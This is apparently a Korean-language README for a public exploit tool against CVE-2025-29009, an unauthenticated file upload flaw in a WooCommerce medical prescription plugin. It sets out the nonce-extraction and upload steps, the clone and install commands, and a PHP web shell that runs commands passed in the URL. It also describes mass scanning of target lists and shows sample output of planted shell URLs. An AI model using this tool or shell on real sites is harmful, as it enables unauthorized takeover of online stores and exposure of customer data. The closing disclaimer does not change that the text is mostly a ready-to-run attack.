
WordPress Medical Prescription Attachment Plugin for WooCommerce Plugin 1.2.3 이하 버전은 높은 우선순위의 임의 파일 업로드 취약점에 취약합니다.
WordPress Medical Prescription Attachment Plugin for WooCommerce 플러그인 <= 1.2.3은 높은 우선순위의 임의 파일 업로드 취약점이 있습니다.
,-. . , ,--. ,-. ,-. ,-. ;--' ,-. ,-. ,-. ,-. ,-.
/ | / | ) / /\ ) | ) ( ) / /\ / /\ ( )
| | / |- --- / | / | / `-. --- / `-'| | / | | / | `-'|
\ |/ | / \/ / / ) / / \/ / \/ / /
`-' ' `--' '--' `-' '--' `-' '--' `-' `-' `-' `-'
근본 원인:
wkwcpa_handle_prescription_session AJAX 핸들러(action=wkwcpa_handle_prescription_session)는 wkwc_pa_prescription_attachment[]를 통해 파일 업로드를 수락하면서 서버 측에서 파일 확장자나 MIME 유형을 검증하지 않습니다. 인증되지 않은 공격자는 공개 WooCommerce 상점 페이지에 포함된 ajaxNonce를 wkwcpaFrontObj JavaScript 객체에서 추출한 다음 PHP 웹 셸을 서버의 업로드 디렉토리에 직접 업로드할 수 있습니다. 응답에는 업로드된 파일의 전체 접근 가능 URL이 포함됩니다.
┌──────────────────────────────────────────────────────────────┐
│ 1. Resolve front page │
│ GET / → GET /shop/ → GET /product/ → GET /?wkwcpa=1│
│ │
│ 2. Extract nonce │
│ Parse wkwcpaFrontObj.ajax.ajaxUrl │
│ Parse wkwcpaFrontObj.ajax.ajaxNonce │
│ │
│ 3. Upload shell │
│ POST <ajaxUrl> │
│ action = wkwcpa_handle_prescription_session │
│ nonce = <ajaxNonce> │
│ type = upload │
│ wkwc_pa_prescription_attachment[] = shell.php │
│ │
│ 4. Parse response │
│ JSON → data.attachments_img_html[].src → shell URL │
│ │
│ 5. Verify shell │
│ GET <shell_url> → check for unique signature │
│ │
│ 6. Save to shells.txt │
└──────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-29009.git
cd CVE-2025-29009
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
PHP 셸을 생성하고 고유한 서명 문자열을 포함하여 도구가 성공적인 실행을 확인할 수 있도록 하세요:
<?php
// NxploitedShellOK
system($_GET['cmd']);
?>
shell.php로 스크립트와 동일한 디렉토리에 저장하세요.
문자열 NxploitedShellOK는 서명입니다 — 확인이 통과하려면 셸의 응답에 반드시 포함되어야 합니다.
python3 CVE-2025-29009.py
Targets file (default list.txt): list.txt
Threads (default 10): 10
Local shell filename (e.g. shell.php): shell.php
Unique shell signature (e.g. NxploitedShellOK): NxploitedShellOK
list.txthttps://target1.com
target2.com
http://target3.com
http://또는https://가 없는 대상은 자동으로http://가 앞에 추가됩니다.
| 파일 | 내용 |
|---|---|
shells.txt | 라인당 하나의 확인된 셸 URL |
터미널:
[SHELL] https://target.com/wp-content/uploads/2025/06/shell.php
[FAIL] https://target2.com (nonce_not_found)
[FAIL] https://target3.com (success_false)
[Status] 3/3 OK:1 FAIL:2
Nxploited
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.
The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.
Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.
© 2025 Nxploited · Medical Prescription Attachment ≤ 1.2.3 · 1.2.4에서 수정됨
| 필드 | 세부 정보 |
|---|
| CVE | CVE-2025-29009 |
| 플러그인 | Webkul Medical Prescription Attachment Plugin for WooCommerce |
| 영향받는 버전 | 모든 버전 ≤ 1.2.3 |
| 인증 | 필요 없음 |
| 유형 | 위험한 유형의 파일 제한 없는 업로드 → 웹 셸 업로드 |
| CWE | CWE-434 · 위험한 유형의 파일 제한 없는 업로드 |
| 코드 | 의미 |
|---|
shell_file_missing | 작업 디렉토리에서 shell.php를 찾을 수 없음 |
no_front_page | HTTP 200을 반환한 후보 페이지 없음 |
nonce_not_found | 어떤 페이지에도 wkwcpaFrontObj가 없음 |
upload_error | POST 중 네트워크 오류 |
json_parse_error | 응답이 유효한 JSON이 아님 |
success_false | 서버가 data.success = false를 반환함 |
no_attachments | 업로드는 성공했지만 응답에 URL이 없음 |
shell_url_not_found | 응답 HTML에서 파일 URL을 구문 분석할 수 없음 |